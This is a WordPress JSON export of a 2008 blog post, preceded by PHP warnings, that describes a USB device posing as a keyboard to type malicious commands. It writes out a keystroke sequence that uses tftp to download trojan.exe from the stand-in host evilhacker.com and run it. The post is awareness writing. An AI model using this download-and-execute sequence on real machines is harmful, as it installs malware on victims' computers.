Warning: Constant ABSPATH already defined in /customers/0/c/e/ogenstad.net/httpd.www/wp-config.php on line 24 Warning: Cannot modify header information - headers already sent by (output started at /customers/0/c/e/ogenstad.net/httpd.www/wp-config.php:24) in /customers/0/c/e/ogenstad.net/httpd.www/wp-includes/rest-api/class-wp-rest-server.php on line 1673 Warning: Cannot modify header information - headers already sent by (output started at /customers/0/c/e/ogenstad.net/httpd.www/wp-config.php:24) in /customers/0/c/e/ogenstad.net/httpd.www/wp-includes/rest-api/class-wp-rest-server.php on line 1673 Warning: Cannot modify header information - headers already sent by (output started at /customers/0/c/e/ogenstad.net/httpd.www/wp-config.php:24) in /customers/0/c/e/ogenstad.net/httpd.www/wp-includes/rest-api/class-wp-rest-server.php on line 1673 Warning: Cannot modify header information - headers already sent by (output started at /customers/0/c/e/ogenstad.net/httpd.www/wp-config.php:24) in /customers/0/c/e/ogenstad.net/httpd.www/wp-includes/rest-api/class-wp-rest-server.php on line 1673 Warning: Cannot modify header information - headers already sent by (output started at /customers/0/c/e/ogenstad.net/httpd.www/wp-config.php:24) in /customers/0/c/e/ogenstad.net/httpd.www/wp-includes/rest-api/class-wp-rest-server.php on line 1673 Warning: Cannot modify header information - headers already sent by (output started at /customers/0/c/e/ogenstad.net/httpd.www/wp-config.php:24) in /customers/0/c/e/ogenstad.net/httpd.www/wp-includes/rest-api/class-wp-rest-server.php on line 1673 Warning: Cannot modify header information - headers already sent by (output started at /customers/0/c/e/ogenstad.net/httpd.www/wp-config.php:24) in /customers/0/c/e/ogenstad.net/httpd.www/wp-includes/rest-api/class-wp-rest-server.php on line 1673 Warning: Cannot modify header information - headers already sent by (output started at /customers/0/c/e/ogenstad.net/httpd.www/wp-config.php:24) in /customers/0/c/e/ogenstad.net/httpd.www/wp-includes/rest-api/class-wp-rest-server.php on line 1673 {"id":127,"date":"2008-09-11T22:15:45","date_gmt":"2008-09-11T21:15:45","guid":{"rendered":"http:\/\/ogenstad.net\/?p=127"},"modified":"2008-09-11T22:15:45","modified_gmt":"2008-09-11T21:15:45","slug":"how-far-do-you-trust-an-unknown-usb-stick","status":"publish","type":"post","link":"https:\/\/ogenstad.net\/2008\/09\/11\/how-far-do-you-trust-an-unknown-usb-stick\/","title":{"rendered":"How far do you trust an unknown USB Stick?"},"content":{"rendered":"

\"USB<\/p>\n

S<\/span>uppose there was an unknown USB stick, waiting to be found in your parking lot<\/a>. Perhaps this would scare you enough to disable autorun throughout your domain (you’ve done that right)? Now imagine if someone gave one of your users a USB device which was connected to a workstation on your network and in turn your network was compromised. How would you explain that? <\/p>\n

I don’t know if this is a new idea but the thought came to be while listening to the Pilot episode<\/a> of the Securabit Podcast<\/a>, thanks to Martin<\/a> for pointing to the Podcast. In this episode they talk about YubiKey<\/a>. The YubiKey is a USB authentication solution, when you plug in the YubiKey (usb device) to your computer it is recognized as a USB keyboard. It has one button and when pressed it enters a onetime password. I won’t go into any details but if you’re interested you can watch a one minute video on the YubiKey site or listen to the Securabit Podcast.<\/p>\n

The product got me thinking, what if someone were to make a device that looks like a usb stick but in fact is a USB keyboard just like the YubiKey. However instead of being programmed to enter a random password string it was made to enter a malicious string of characters. For example an attacker might choose to target a Windows box with these characters.<\/p>\n

[windows] + r
\ncmd.exe [enter]
\ntftp -i evilhacker.com GET trojan.exe %temp%\\trojan.exe [enter]
\n%temp%\\trojan.exe [enter]
\nexit [enter]<\/code><\/p>\n

This would install a trojan on the target computer (assuming the user is allowed to runt tftp) simply because the device was connected to the computer.<\/p>\n

This shouldn’t be a great threat and this attack in particular would be mitigated by just locking the screen. However it still doesn’t hurt to have respect for the unknown and I’d stay away from those USB sticks found in the parking lot. <\/p>\n","protected":false},"excerpt":{"rendered":"

\"USB<\/p>\n

S<\/span>uppose there was an unknown USB stick, waiting to be found in your parking lot<\/a>. Perhaps this would scare you enough to disable autorun throughout your domain (you’ve done that right)? Now imagine if someone gave one of your users a USB device which was connected to a workstation on your network and in turn your network was compromised. How would you explain that?<\/p>\n

I don’t know if this is a new idea but the thought came to be while listening to the Pilot episode<\/a> of the Securabit Podcast<\/a>, thanks to Martin<\/a> for pointing to the Podcast. In this episode they talk about YubiKey<\/a>. The YubiKey is a USB authentication solution, when you plug in the YubiKey (usb device) to your computer it is recognized as a USB keyboard. It has one button and when pressed it enters a onetime password. I won’t go into any details but if you’re interested you can watch a one minute video on the YubiKey site or listen to the Securabit Podcast.<\/p>\n

The product got me thinking, what if someone were to make a device that looks like a usb stick but in fact is a USB keyboard just like the YubiKey. However instead of being programmed to enter a random password string it was made to enter a malicious string of characters. For example an attacker might choose to target a Windows box with these characters.<\/p>\n

[windows] + r
\ncmd.exe [enter]
\ntftp -i evilhacker.com GET trojan.exe %temp%\\trojan.exe [enter]
\n%temp%\\trojan.exe [enter]
\nexit [enter]<\/code><\/p>\n

This would install a trojan on the target computer (assuming the user is allowed to runt tftp) simply because the device was connected to the computer.<\/p>\n

This shouldn’t be a great threat and this attack in particular would be mitigated by just locking the screen. However it still doesn’t hurt to have respect for the unknown and I’d stay away from those USB sticks found in the parking lot. <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":""},"categories":[5],"tags":[15],"_links":{"self":[{"href":"https:\/\/ogenstad.net\/wp-json\/wp\/v2\/posts\/127"}],"collection":[{"href":"https:\/\/ogenstad.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ogenstad.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ogenstad.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ogenstad.net\/wp-json\/wp\/v2\/comments?post=127"}],"version-history":[{"count":5,"href":"https:\/\/ogenstad.net\/wp-json\/wp\/v2\/posts\/127\/revisions"}],"predecessor-version":[{"id":132,"href":"https:\/\/ogenstad.net\/wp-json\/wp\/v2\/posts\/127\/revisions\/132"}],"wp:attachment":[{"href":"https:\/\/ogenstad.net\/wp-json\/wp\/v2\/media?parent=127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ogenstad.net\/wp-json\/wp\/v2\/categories?post=127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ogenstad.net\/wp-json\/wp\/v2\/tags?post=127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}